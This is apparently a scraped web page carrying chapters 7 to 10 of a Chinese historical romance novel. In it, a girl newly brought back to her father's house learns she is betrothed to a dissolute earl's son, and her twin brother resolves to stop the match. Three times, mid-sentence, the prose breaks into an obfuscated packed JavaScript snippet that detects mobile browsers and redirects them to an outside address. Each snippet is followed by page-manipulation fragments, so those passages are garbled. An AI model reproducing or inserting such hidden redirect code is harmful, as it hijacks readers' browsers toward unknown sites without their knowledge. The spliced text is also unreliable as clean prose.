说完，见薛云朔不搭话，她轻咬了一下下唇，然后抬眸看他：“哥，你怎么不回答我？” 薛云朔故作不知，还反问道：“回答你什么？” 薛嘉宜有点儿不好意思，不过还是道：“我都夸你好看了，你怎么不说我好看？” “原来是等价交换。”薛云朔挑眉看她：“看来有些人前面夸我，一点也不诚心。” “我哪有！对了，哥，我听说，今早你和他们一样，去了学塾里了？” “嗯，就在毗邻的徐尚书府中，是他们家里的族学。” 徐家家学渊源，文风通畅，家里子孙又多，家中的族学很出名，不少相熟的官宦人家，都将孩子送去徐家进学，薛家的薛泓和薛泽，也叫薛永年送了去。 兄妹俩说着闲话，没一会儿，薛老夫人又派人把他们叫到了上房里，耳提面命地再叮嘱了一番。 “虽说都是相熟的人家，但你俩是头回露面，可也不能跌了我薛家的脸。” 薛老夫人敲了敲拐杖，板着脸，说得极其认真。 她腿脚不好，据说是当年被薛氏宗族逼迫改嫁、干脆跳河明志时留下的病根。天热时还好，一旦入了秋，寒气浸染过的骨头就疼，到了不良于行的地步。 堂外，迎客的秦淑月也差了小丫鬟来同老夫人禀报。 “禀老夫人，夫人说该到的几家都到齐了。” 薛老夫人扫了薛嘉宜一眼，旋即又问：“汝阳伯家的夫人可到了？” 小丫鬟恭谨回答：“魏家的夫人和公子刚到，夫人已经引他们上座。” 薛老夫人稍一颔首，与兄妹俩道：“差不多了，随我一起去席间吧。” 薛云朔察觉到了方才薛老夫人看薛嘉宜的眼神，眉心微皱。 —— 薛家虽属寒门，薛永年如今却也在朝廷新贵里排得上号了。 此番他要为一双刚认祖归宗的儿女办洗尘宴，来赴宴的人家不少，诸如汝阳伯魏家、兵部尚书徐家，也都是有头有脸的人物。 这些夫人们，此刻正聚在一起，与秦淑月说着话。 至于这两个孩子的身世，当年又为什么会送到乡下…… 京城的门户间，从来就没有什么秘密，大家其实心里都有些数的——还不是因为他俩那姓朱的母亲么？ 薛永年是永定五年的探花，同年取仕入了翰林，在当年太子还未坍台的时候，因有个身为太子詹事的老丈人，有幸侍奉在东宫。 可后来东宫出事，他却并未受到牵连，还能回翰林院安安稳稳地做他的编修，几年后便得皇帝青眼，入了吏部，先为文选司郎中，后辗转腾挪几次，到如今，已经稳坐吏部右侍郎的位置。 当年的细枝末节，外人未必清楚，但这位的“识时务”，可是出了名的。 然而这是人家的私事，秦淑月在闲话中，不经意地给出了“孩子命数薄，得在乡下将养才能养大”的说辞，大家也就笑说过去了。 时候差不多了，秦淑月引了兄妹俩在席间露面。 薛嘉宜还有些紧张，不过不多，她紧跟慢跟着薛云朔的动作一起，朝在场的夫人们见了礼。 洗尘宴也不过是个酬酢交际的由头而已，在兄妹俩真正露面之前，众人其实没有对他俩抱有什么兴趣和期待。 纵使母亲是大儒之女又如何，这些年都长在荒野之地，缺乏教养，恐也养成了个粗俗不堪的样子，日后别给家中添乱就不错了。 秦淑月把夫人们的神情变化看得分明，又留意看向了那位汝阳伯夫人，见她多瞧了薛嘉宜几眼，眼神里非但没有不满意，还有一丝惊艳，心下稍安。 看来……婚约的事，这一关算是过了。 “咱大人聊大人的，既见过了，我可让他们孩子自个儿玩去了。”秦淑月笑着，拍了拍薛嘉宜的手背。 一旁的徐尚书夫人，见状也笑道：“是该交交朋友。” 她喊来自己的女儿：“柔歆，薛家没有其他的姊妹，你带着宜妹妹，一起去说说话。” …… 这位尚书府的徐姑娘，是个活泼好性的。 应了母亲的意思，她便朝薛嘉宜走来，拉着她去了女眷们的地方。 今日的宴是小宴，男客女客之间不甚分明，只虚虚拉了两扇屏风。 见薛嘉宜的目光一直往屏风另一边飘，徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088591|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔歆眨着眼笑道：“你是在看你的兄长吗？” 被人点出来，薛嘉宜有一瞬赧然，不过还是点了点头。 她已经习惯了，走到哪都去找他的影子。 徐柔歆找到了话茬，便继续抛了下去：“我听说，你和他是一母同胞，一起降生的？” 薛嘉宜感受到了她的友善，努力回答着：“是，母亲说，他只比我早出生一会儿，差点我就是姐姐了。” “是吗？”徐柔歆忍俊不禁地道：“可你兄长瞧着真的很有长兄的风范，我倒想象不出，你做他姐姐的样子。” 徐柔歆心下了然，知道那声母亲喊得不是刚才那位继夫人，于是很巧妙地避开了这个话题。 她旋即又感叹道：“双生的兄妹就是不同，我家里也有哥哥弟弟，都讨厌死了，我和他们可玩不到一块儿去。” 徐柔歆一面说，一面拉着薛嘉宜，去和自己相熟的几个闺秀见了面。 大家不说都是高门贵女，至少也出身官宦人家，彼此间不论关系如何，面子情都还是做得的。 即使有人向薛嘉宜投来好奇的目光，也没有多少恶意，最多是有一点对于与自己不同的人的探究。 这种程度的交际，薛嘉宜还应付得来，她努力维持着自己的表情，一边听旁人说话，一边悄悄记住她们都是谁家的姑娘。 又聊过一会儿后，女孩儿们便和相熟的手帕交，各自三三两两地散开了。 薛嘉宜松了口气。 她对旁人散发的情绪一向很敏感，人多时，即使不是有心要去一一分辨，也会有一种处理不过来的感觉。 她没有主动和谁凑在一起，留在原地待了一会儿后，便稍往后散了散。 虽说这里是薛家，但是她也还不熟悉，没有散得太远，只在小池塘旁走走，透透气。 秋意渐浓，池子里的荷花早就凋谢了，只剩下一池枯损的残荷败枝。 薛嘉宜没有逗留太久，正打算回席间时，却在水面上看到了一个陌生的倒影。 是一个身着红衣的青年男子，看起来约莫二十啷当岁，不知何时从池塘的另一边走了过来，还站定在她后侧只有两三丈远的地方。 薛嘉宜叫突然出现的男人唬了一跳。 她下意识转过身，想要后退，又想起身后是池塘，于是侧身让了两步，局促地屈膝一礼。 见过礼后，她闷着头要走，然这红衣男子非但不让，反而跨到了她跟前，挡住了她的去路。 “你便是薛家刚回来的姑娘吧？瞧着眼生得很。”他甚至还调笑道：“嗳——别急走呀小娘子，以后在京城，抬头不见低头见的，咱也认识认识。” 这红衣青年的五官生得不错，只是眉眼间透着轻浮，看人时眼白也比眼黑多，散发着一股阴恻恻的气质。 薛嘉宜能感受到他的不怀好意。 可四下无人，丫鬟也不在身边，她知道不是闹起来的时候，皱了皱眉，只得顿足，生硬地道：“男女有别，不必了，这位公子。” 红衣青年哈哈大笑，随即道：“佳人不问，某只能自报名姓了。我姓魏，单名一个‘祺’，是汝阳伯府的世子。” “你的外祖父与我的祖父，可都算从前的太子旧臣，说起来，我们也是有渊源的，并不是我唐突。” 薛嘉宜深吸一口气，却也知道不好与这种人纠缠，于是朝他极快地又福了一福，道：“见过魏世子。” 说着，她抬步欲走，然而这个魏祺仍旧不依不饶。 他不仅继续挡在她的去路前，甚至还渐勾下腰，意欲俯身贴向她的耳际：“小娘子……你的名字，是什么？” 薛嘉宜退无可退，裙摆都快垂到小池塘的水面上了。 她闭上眼睛，捏紧了拳头，正在思考这一拳该打登徒子的下巴还是眼睛的时候，一道熟悉的、充满安全感的声音，沉沉地飘了过来。 “这位兄台——” 魏祺倾身向前的动作，被强行制住了。 薛云朔扣在他肩上的指掌寸寸用力，声音平静：“是有什么话，非得与舍妹一叙？” 8. 008 听清是谁的声音后，薛嘉宜近乎惊喜地睁开了眼睛。 袖底的拳头一松，在那句“哥”窜到喉咙之前，她便已经灵巧地一猫腰，跑到了他身后。 薛云朔低眸看她一眼，见她脸色还好，没多少惊魂未定的样子，这才松手。 他长于挽弓搭箭，更时常在山林间拖拽猎物，寻常男子的力气，根本不是他的对手。 魏祺叫这突然出现的一只手吓了一跳，肩膀一震，才转过身。 他微微眯起眼来，揉了一把自己发痛的肩头，从“舍妹”二字里读出了薛云朔的身份。 “你便是薛家一起认回的那小子吧。”魏祺的声音冷了下来，没了方才调笑时的故作和煦：“好小子，力气够大的啊。你可知我是谁？” 薛云朔把左手背到了身后，隔着衣袖，不动声色地握了一把薛嘉宜的手腕，带着安抚之意。 有些纷乱的心跳，似乎因为这一下轻握，渐渐平复了下来。 薛嘉宜眨眨眼，想回握他一下，他却已经把手收了回去，朝面前的男子抱了抱拳。 “久闻魏世子大名，改日有机会再来讨教。”薛云朔从容道：“家中长辈在喊我们过去，先走一步。” 他侧过身，撤开时，仍旧寸步不让地挡在薛嘉宜身前。 见着兄妹俩抬步要走，连一个目光也不再分给他，近来春风得意的魏祺，心底油然而生出一股怒火。 “说走就走，你们可真是太讲礼数了。” 魏祺上前两步，正要如法炮制，也扼住薛云朔的肩头，为自己讨回几分颜面，然这身量尚还单薄的少年，竟像后脑勺长了眼睛一般，在他动手之前忽然回头，用一双平静无波的眼瞳，淡淡地睥睨着他。 视线接触的瞬间，魏祺眉心一跳。 是他的错觉吗？ 眼前的才被认回家中的乡野少年，瞳孔中那一瞬闪过的神色，竟叫他没来由地有些惧怕。 就像是被鹰隼、被虎狼盯住了一般，让人脊背发冷。 明明他身量还没长成，肩膀也单薄。 薛云朔收敛目光，没有纠缠，拉起薛嘉宜的衣袖便走。 他很清楚，这样的场合，纠缠是没有意义的。况且此人一看便是个浑的，在这个时候闹起来，对她也没有好处。 要不是因为这个，他的拳头已经砸到那人的眼珠子上了。 快走了几步之后，薛云朔顿足，回头看向薛嘉宜，松开了她的衣袖。 “方才怎么了？”他问。 精致的裙幅限制了她的脚步，薛嘉宜跑得乱七八糟的，她站定，扶了一把鬓边的发钗，回答道：“我……觉得席间人多，闷得慌，就往旁边散了散，我也不知这人是从哪里来的。哥，是老夫人那边在喊我们吗？” 薛云朔淡淡道：“随口编的。” 哪有那么巧，长辈是他扯的借口。 两人一道往席间走，薛云朔道：“刚刚那人姓魏，是汝阳伯府的二公子。” 薛嘉宜“哦”了一声，道：“方才他也是这么和我说的。” 她顿了顿，秀气的眉皱了起来：“好奇怪的人。” 薛云朔亦是皱眉，道：“是很奇怪。” 这里好歹也是薛家的宴席，如此轻浮的搭讪，实在是……太过火了。 虽然刚到京城、刚到薛家，这也是薛云朔第一次进入到这样的环境里，但是他已经能感受到，镀上了身份地位之后，人的表现是不一样的。 看向他的目光，有好奇，有轻视，但是无一例外，这些眼神都包裹上了礼节性的微笑，没有人会主动展露情绪里真实的底色。 这和从前他在严州府时感受到的世情，很不一样。 那魏祺好歹也是伯府公子，却肆无忌惮地对主人家的女儿表现出这样的孟浪直接，相比无赖，更像是有些……有恃无恐。 他在有恃无恐什么？ 薛云朔本就凌厉的剑眉愈发深锁。 他放心不下，与薛嘉宜道：“你回席间坐着，别走动了，我去看一眼情况。” 薛嘉宜轻抚着自己的心口，咕哝道：“不走了，一会儿不知又碰见什么。” 见她回了席间，和其他姑娘凑到了一起，薛云朔这才安下心来，朝那个魏祺之前离开的方向，悄无声息地绕了回去。 …… 见薛嘉宜回来，方才那尚书家的徐姑娘笑道：“快来，给你留了酪浆。” 她是很标准的那种贵女，深谙如何交际，对初来乍到的朋友，不会问出答案未知的问题。 薛嘉宜腼腆一笑，朝她走了过去。 甜滋滋的小甜水她很喜欢，而且吃着东西，她就更有理由安静下来，只听她们说话，不用绞尽脑汁想该怎么接茬了。 薛嘉宜拿着勺子，一口一口地浅啜着。 酪浆才喝了半盏，紫珠又来了。 她施施然和各家闺秀行了礼，随即便与薛嘉宜道：“大姑娘，夫人喊你过去呢。” 薛嘉宜“哦”了一声，搁下碗，与刚认识的姑娘们福了一福，便随紫珠去了厅里。 前厅里并不热闹，秦淑月大概是应酬累了，这会儿单独在这里小坐。 不过看到薛嘉宜过来时，她眉眼间还是噙了点笑：“来，宜姐儿，坐到我身边来。” 这是有话和她说了？薛嘉宜心下猜测着，垂眸坐到了秦淑月身边的软垫上，轻声道：“夫人。” 即使生母的形象，在她的记忆里已经模糊了，她还是没办法管别人喊出那声母亲。 秦淑月显然并不在意，她随意地问了薛嘉宜几句，玩得可开心、和哪家的姑娘比较合得来之类的闲话，紧接着，便话锋一转，说起了真正的意图。 “席间，你可瞧见那位汝阳伯家的公子了？” 听到“汝阳伯”三个字的时候，薛嘉宜轻垂的眼睫，倏而一颤。 秦淑月没注意她的眼神，也没等她回答，便道：“汝阳伯夫人，方才你已经见过了，他家行二的那位公子，叫魏祺，如今正值弱冠，也是仪表堂堂，今日也来赴宴了。” “最难得的是……”秦淑月意味深长地拖长了语调，看着薛嘉宜道：“如今汝阳伯府，只这魏二公子一根独苗，他父亲汝阳伯，待到他成婚之后，就要为他请封世子了。” 即便薛嘉宜再迟钝，听到这儿，也渐渐听明白了是什么意思。 想到那一道拦住她的轻浮身影，她的脸色白了一白。 薛嘉宜勉强挂住脸上的表情，低声嗫嚅：“伯府的事情，您与我说做什么呀？” “现下是与你无关。”秦淑月似笑非笑地瞥她一眼，轻描淡写般道：“可等你嫁过去，成了世子夫人，这些呀，可不就是你的家事了么。” 她仿佛没有瞧见薛嘉宜蓦然瞪大的瞳孔，一字一顿地继续道：“我们薛家与汝阳伯府，可是在多年前，就许下了这桩儿女亲事。” —— 直到这场洗尘宴毕，薛嘉宜还是有些恍恍惚惚的。 她终于明白，为什么这么多年来，一直当她和哥哥不存在的薛家，会起意接他们回京了。 原来，为的便是这一桩旧日婚约。 这种恍恍惚惚的状态，直到她回了寝屋也未消去。 丫鬟玉屏不知内情，也难免担心地问：“姑娘，您怎么了？可是哪里不舒服？” 薛嘉宜垂了垂眼，勉强分出一点笑来，回道：“没什么，只是有些累了，你不必管我。” 主仆间到底不熟，她既这么说了，玉屏没有追问，只是道：“那大姑娘早些歇息吧，睡一觉许是会好些。” 薛嘉宜轻轻“嗯”了一声。 不大的寝屋只剩她一个人，很快安静了下来。 她心绪纷乱，也知晓自己恐怕睡不着，干脆没有躺下，仍旧披衣坐在窗前。 薄雾似的月华笼罩在她身上，少女灵俏动人的一张面孔上，也笼罩着一层淡淡的愁绪。 继母秦淑月的话，仍旧盘桓在她耳边。 “你才回来，年纪也小，成婚之事，我们不会操之过急。” “你长在乡下，到底疏于礼仪教养，成婚前，家里会请女师来，来好好地教你规矩，教一教你，该如何去执掌中馈，做这个世子夫人。” 怪不得今日见到的那魏二公子会是那副作派，想来，他是知道婚约之事的。 薛嘉宜有些说不上来自己是什么心情。 父母之命，媒妁之言。从回到京城的那一天起，她仿佛，就没了选择的余地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088592|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 是难过吗？还是愤恨？ 仿佛都不是。 她只是忽然想起了从前在严州府，和哥哥生活在一起的日子。 明明也没过去多久，再想起时，竟也要用“从前”来形容了。 薛嘉宜的眼底渐渐濡湿了，她垂着眼帘，突然觉得身上这条曳金的百迭裙很是刺眼。 其实那时的日子也并不顺遂，老旧的屋顶会漏雨，枯败的墙根会生青苔，到了冬天，碗里更是一点菜蔬也不见。 可她宁可回去，和兄长继续那清苦的日子。 薛嘉宜忍着泪，正要起身去把这条裙子脱掉，余光中，却瞥见一道再熟悉不过的身影，轻巧地翻过了矮墙。 她一怔，背过脸去，抬手胡乱地揩了一把湿润的眼睫，这才扬起脸，朝他笑道：“哥，你怎么又来找我了？” 薛云朔随手掸了一把衣襟上的灰，正要开口说些什么，视线却不受控制地落在了她微红的眼尾上。 他薄唇轻启：“你……” 多年朝夕相处的时光，在此刻仿佛连接了某种感应，即便她没有解释，薛云朔还是眉心微皱，顿住了脚步。 薛嘉宜咬着下唇，本没打算说什么，可张口喊他的时候，还是带着一点哭腔：“哥……” 从失去母亲的那一天起，她已经很少哭了。 薛云朔的拳心发紧，已然反应过来：“他们已经告诉你了？” 薛嘉宜轻轻点头。 她知道了，却没有哭闹，连眼泪都只有浅浅一泓，薛云朔深吸一口气，胸臆愈加难平。 方才宴中，他直觉那魏二的态度不对，悄悄又跟了过去，结果没瞧见他，反倒撞见了他母亲汝阳伯夫人与心腹婢女的交谈。 “这薛家也真是有趣，当年出事之后，恨不得把自己身上，与故太子有关的痕迹全都剜了去。” 汝阳伯夫人的声音戏谑极了：“那时绝口不提与我们许的这桩儿女亲事，现在倒好，见陛下对我们这些太子旧臣的态度松动了，也恢复了我魏家的爵位，嗤，开始巴巴地把那乡巴佬接回来，想要完婚。” 伯夫人的婢女则道：“听伯爷的意思，这婚约也不全无不可取之处。毕竟，如今那薛侍郎简在帝心，从前也确实是东宫的旧臣……而且明面上，这薛家，与那风头正盛的三皇子和八皇子都没有牵系……” 薛云朔没再听下去。 他克制着自己的情绪，席散之后，溜了出去，打探了一番这个魏家的底细—— 魏家从前的那位汝阳伯，与他们的外祖朱翰走得还挺近。也许正因有朱翰牵线，才定下了这桩在当时看来，还算薛家高攀了伯府的这一桩儿女亲事。 可惜后来，太子坍台、被迫自尽，东宫属官尽皆坐罪，魏家也如朱家一般深受牵连，被褫夺了爵位。 再到那位老汝阳伯过世之后，魏家的情形便更是一落千丈，如今的一家之主魏鸿才，快到知天命的年纪，还只是个六品小京官，捞不着外派的机会。 他膝下有两子，长子据说颇有才干，可惜早早去世了；剩下的那个小儿子叫魏祺，光听这名字便知他从小就是被宠大的，事实也确实如此。 他不仅不学无术，仗着魏家还有些家底，吃喝嫖赌更是样样俱全，是京城出了名的纨绔子弟。据说有人曾当面讥讽，叫他“魏衙内”，而他也笑眯眯应了。 薛云朔不过转了一圈，就听得了魏祺一兜子的轶事。 “是谁告诉你的？”薛云朔轻声问她。 薛嘉宜垂着眼，手无意识地紧抓着袖口：“散席后，秦夫人知会了我。” 是知会，不是商榷。 薛云朔紧了紧拳头。 不待薛云朔回答，薛嘉宜便低下脑袋，自顾自地说了下去。 “其实想想，也未必有很差吧。我到底是薛家的女儿呢，就是不在意我，他们也不会作践薛家自己的脸面。” 她的声音低低的，也不知有没有骗过自己。 席间那魏祺的作派，分明是个孟浪之徒，即使白日里，身上都带着一股挥之不散的酒气和脂粉香。 她说得越平静，薛云朔越是克制不住胸口激荡的那股冲动：“你不需要和我解释这么多。你只告诉我，你想不想嫁？” 9. 009 薛嘉宜把唇抿得发白，明明那句“不想”已经盘桓在了嘴边，却有些说不出口。 从记事起，她便记得母亲是如何怨怼父亲，父亲又是如何冷落母亲，没可能对婚姻有什么期许。 可她做不了主，哥哥也做不了主，难道还要他一次次挡在她身前，然后带累他吗？ “哥……”薛嘉宜垂着眼帘道：“可我总要嫁人的呀。” “是。”薛云朔没有回避这个问题，只一字一顿地道：“但是你不能嫁这样的人。” 他鲜少用这样命令的语气和她说话，薛嘉宜眨了眨还有些湿意的眼睫，故作轻松地道：“那哥哥觉得，我应该，选什么样的郎君？” 薛云朔避开她缓缓抬起的目光，绷着脸道：“这是另一回事。” 薛嘉宜拉长音调“哦”了一声：“那我以后……选个像哥哥一样的夫婿，可好？” 她的声音很轻、很软，却很认真。 乡间清苦的岁月里，他是她的兄长、是她的友人，也是她对于同龄男性，所有的认知和幻想。 薛云朔沉默一瞬，随即把本就冷峻的一张脸，板得更面无表情了。 “回答我，薛嘉宜。”他认真地唤她姓名：“这次你要是蒙混过去，我就……” 他原本想说句硬邦邦的话恐吓一下她，结果停顿了好一会儿，最后也只舍得撂出一句：“我就再也不管你了。” 眼看是躲不过去了，薛嘉宜咬了咬唇，终究还是说了实话：“我……不想嫁。” 这是她的终身大事，如果她有的选，又怎么会心甘情愿配一个烂人。 薛云朔等的也只是她这一句话而已。 闻言，他微微一笑，久违地伸出手，越过窗台，摸了摸她的发顶。 “好。我来想办法。” 见他说完，转身就走，薛嘉宜赶忙探身拦他：“哥，我话还没说完——” 生怕他不听似的，她急急说道：“我是不想嫁，可是，我也不想看到你为了我的事情，去争辩、去冒险。” 眼下的情况和在严州府时根本不一样，那时他还能凭借一时的孤勇和意气，挡在她的身前，可现在不同，她不能因为自己害了他。 见她几欲翻窗跳出来，薛云朔无奈，只得停步。 “我自有我的办法，”他只道：“你不必为我担心。” 薛嘉宜想了想，鼓起勇气道：“这也是我的事情，哥，既然我也想好了，那我们一起想办法。” 薛云朔微笑道好，随即又道：“别担心，我们才回来，两家也没有立即把婚约挑明。还有时间，还来得及。秦夫人那边，你应付着就好。” 这个“我们”让薛嘉宜感到安心了些，她重重点头，见他真的要离开了，又抓住他的手臂，吞吞吐吐地道：“哥，你可别莽撞。这里是京城，有王法的。” 薛云朔睨她一眼：“怎么，我干过什么杀人放火的事儿吗？” 见她一脸的欲言又止，他轻笑一声，还是安慰了一句：“放心，我有分寸。” —— 洗尘宴后，薛家为薛嘉宜，延请了从前在宗太妃宫中侍奉过的一位陈姓女官，来教授礼仪。 这位宗太妃于当今皇帝有抚养之恩，命还很长，皇帝如今都五十多了，她还活得很健朗。 能请来宫中的女官教导，也可以看出，薛家对于那一桩婚事的在意了。 另一边的薛云朔，也正式开始进学了，每日早间，和薛泓、薛泽两个弟弟一起，去到徐家的学塾里。 薛家新冒出来个儿子——还是长子，叫学塾里的一群半大郎君很是好奇。 不过薛云朔的表现实在是很冷漠，态度也是拒人千里之外的态度，在先生几番提问、他都表现得没什么错处之后，其他人就是连笑话他的心思都歇了，也懒得再分给这个不合群的人目光。 只有秦淑月的那个儿子薛泓，在渐渐察觉到这个突然多出来的长兄并非文墨不通之后，悄悄磨了磨牙，多看了他好几眼。 薛云朔浑然不在意，他从来没有融入谁的打算。 此生他在乎的人，唯有一个。 又花了几日功夫，摸清楚书塾里讲习的规律之后，这天下晌，薛云朔正打算趁先生不在的功夫溜出去，却忽然叫人拦住了。 薛泓挡在了薛云朔的去路之前，仿佛抓到了他的小辫子一般，跳脚道：“好哇！你逃学，我要告诉先生，回去之后，我还要告诉父亲！” 对于这个还没薛嘉宜高的异母弟弟，薛云朔无甚耐心，也并不在意，只乜他一眼，淡淡道：“可以。到时候父亲正好也和你谈一谈，你的功课是谁代做的。” “你怎么知……” 薛泓大惊，随即捂住嘴收了声，只愤愤瞪他一眼。 …… 悄悄离开徐家的族学之后，薛云朔孤身来到了城南，一处名唤“望春楼”的茶肆。 为免显得太年轻、太像学子，他换了一身墨色的圆领袍，叫了一壶茶水，安坐在大堂角落的位置。 这座茶肆生意红火得很，大堂里人声鼎沸，没有人在意一个形单影只的小郎君，即使有人觉得他样貌不俗，也至多多看两眼罢了。 薛云朔垂着眼帘，安静地注视着杯中的茶汤，余光，却一直落在毗邻的楼梯处。 茶肆没什么稀奇的，这座望春楼的生意能这么好，自然有它的独到之处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088593|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 澧朝禁赌，天子脚下，更是没人敢堂而皇之地犯禁。只是这世上从不缺赌徒，而这望春楼，干的就是明修栈道、暗度陈仓的生意。 当然，这不算什么秘辛。既然敢赚这样的烫手的钱，背后必定是有人撑腰。 茶水斟到第二杯的时候，门口又来客了，薛云朔捏着杯壁，目光淡淡地望了过去。 是那位“魏衙内”，呼朋引伴地来了。 才到下午，也不知喝到几巡了，魏祺那张人模狗样的脸都泛着红。 他身边的狐朋狗友一面扶着他，一面奉承：“魏兄海量，我们真是拍马难及。” 这起子人都是熟客，小二眼睛一瞄，就知道该把他们往哪儿领了。 “诸位少爷，”小二躬着身，殷勤问道：“今日要大玩小玩？是推牌九，还是打关扑？” 魏祺颇为自得地笑了两声，昂首道：“当然玩儿大的！就打关扑！” 有与他关系尚佳的友人劝道：“关扑玩起来没个底儿，届时你爹知道了……” 魏祺不以为地一挥手，随即神秘兮兮地勾了他的脖子过来，很刻意地压低声音道：“没——关系。我就快娶亲了，当年的朱家女，你可知道？她唯一的女儿，嫁妆想来也丰厚……” 不远处的薛云朔，把魏祺的话悉数听了进去。 杯中清茶倒映出的眼底，阴翳闪现。 魏祺浑然不知，他一掸衣摆，又朝小厮颐指气使地道：“带路！小爷我今天要玩把大的！” 店小二甩了把汗巾，眉开眼笑地领着他们往上走。 薛云朔收回目光，平静地稍坐了一会儿。 窗外天色渐暗，他没有久留，叫来了店小二，指了指桌上未动的云片糕，吩咐道：“帮我打包。” 薛嘉宜爱吃这些小甜嘴，本就是给她点的，他不爱吃甜的。 小二很熟练，三两下就打包好了。 薛云朔从绳结处接过，微微颔首，道了声“有劳”。 天边，暮色四合。他才踏出这座望春楼没几步，忽然感觉背后，仿佛有谁在盯着他。 山林间打猎留下的直觉犹在，薛云朔脚步微顿，一面继续往前走，一面不动声色地偏过头，往回看去。 ……没有什么异样。 是多心了吗？ 薛云朔扬了扬眉，提着云片糕，走了。 望春楼二楼靠窗的雅座，一个约莫三十来岁的英武男子，正看着他离开的方向。 “爹，你有没有觉着，方才路过的那小子，看着有些面熟？就像是……哪里见过。” 男人的话音稍一停顿，旋即伸出食指，往皇宫的方向，虚虚一指。 10. 010 定府大街，薛家。 薛永年是个孝子，即使今日，他下值得很晚，回府之后，却还是先去了上房请安。 薛老夫人的情形还是如往日一般，到了这秋天里，没有病得起不来，状况却也不是很好，正靠坐在软榻上。 见儿子迈入房中，她的脸上浮了几分笑——她只在面对儿子的时候，会露出这样真心实意的笑来。其他的人，无论是儿媳还是孙子，都得不到她这样的笑脸。 “怎么才下值，可是圣上召见？” “见过母亲。”薛永年请过安，到她身边坐下：“没有，只是公衙里有事绊脚，所以回来迟了。” 母子俩聊了几句，薛永年忽然问道：“伯府那边，这几日可来交换了庚帖？” 薛老夫人摇了摇头，道：“且拿着乔呢，不过这段时间，和我们走动还是有的。秦氏也去和伯夫人旁敲侧击过了，对宜姐儿，他们那边是没什么不满意的。” 据秦淑月的回答，伯府松口这桩婚事，更像是他儿子那边的原因——那魏祺仿佛是瞧上薛嘉宜了。 想到这儿，薛老夫人目光中流露出些许的不赞同：“唯一的儿子这样没出息，纵然恢复了爵位又如何？日后也不会有什么作为。” “你子嗣不丰，女儿更是只有这一个，联姻的对象应该仔细斟酌才是。要我说，嫁进魏家去是平白浪费了，于你的仕途并无助益。” 薛永年在自己的母亲跟前没什么保留的，答道：“陛下近来很是怀缅故太子，甚至还有重修他坟茔的打算。” “我在朝中的处境有些尴尬，此时与汝阳伯联姻，不为别的，只意在表明，我未曾和当年的东宫割席。” 至于魏祺如何，他日又会否有出息，并不在他的考虑范畴内。 涉及到朝堂政局的事情，薛老夫人便不多嘴了，只摸着拐杖上的兽首，道：“你心里有数就好。至于后院的事情，你不必劳心，自有我和秦氏。” 既说起，薛永年问道：“女官来府里也有些时日了，大姑娘学得怎么样？” 薛老夫人道：“陈女官来与我说过，人是听话好学的，挑不出什么错处。” 薛永年点了点头：“听话就好，我原还担心，她会继承她母亲的倔强性子。” 他又随意问了几句，不过从头到尾，没有提起薛云朔一句。 会接他回来，只是因为一母双生，单独接薛嘉宜一个女儿回来不好看。 在他的心里，女儿无论聪明愚笨，尚有联姻的价值，而一个十多年了才开始正经读书的儿子，已经没有什么用了，送他去进学，不过捎带手的事情，并没有指望他真的出什么名堂。 —— 薛嘉宜丝毫不知，自己的父亲和祖母如此谈论过她。 自从薛家请的那位女官到了之后，她每日都要来上房这边进学。 起初，薛嘉宜心里是很有些抵触的。 实在很难不抵触——那日宴后，继母话里话外都是在说，要她为他日嫁入伯府做好准备。 她不想嫁给那魏祺，自然也没想好好学。 教导她的女官姓陈，叫陈筠，今年不过三十，因为年纪到了，才从宫里放出来。 她生了张椭长的脸，眉眼间很是有些温和的笑意，确实是会讨宫里贵人喜欢的那种长相。 眼睛也尖。 薛嘉宜摸鱼划水的态度，全被她看出来了。 这陈女官起先并没有说什么，观察了两天之后，才和她算的总账。 “不尊师长，是为一；态度不端，是为二；浪费你自己的时间，是为三……” 陈筠一条一条数着，数一条就是两下手板。 她面容和煦，下手却狠，薛嘉宜含着两包要掉不掉的眼泪，疼老实了。 陈筠看得出她虽然规矩了许多，但心里还是不服的，没有再发作，只平心静气地道：“我不知晓，你家中是什么情形，我只知道一点，学到了的东西，就是你自己的。” “待人接物的礼仪规矩，不是只有嫁人才能用到。你若只想应付过去，可以，我不会再管你，你若是想好了好好学，那我们继续。” 薛嘉宜揉着自己红肿的掌心，冷静了下来。 不管是为什么，学东西本身总是对的。 她已经没有办法再回严州府了，既然要生活在京城，很多事情，是没有办法逃避的，总不能回回都站在兄长身后，等他替她开口。 她把嘴巴抿得发白，低着脑袋：“我……明白了。” 不过她一贯温吞，底子又薄，即使想通了，全神贯注起来，也总有做得不那么好的地方。 有几回，薛嘉宜都以为自己又要挨手板了，这陈女官却意外地温和，只微微一笑，重新与她示范。 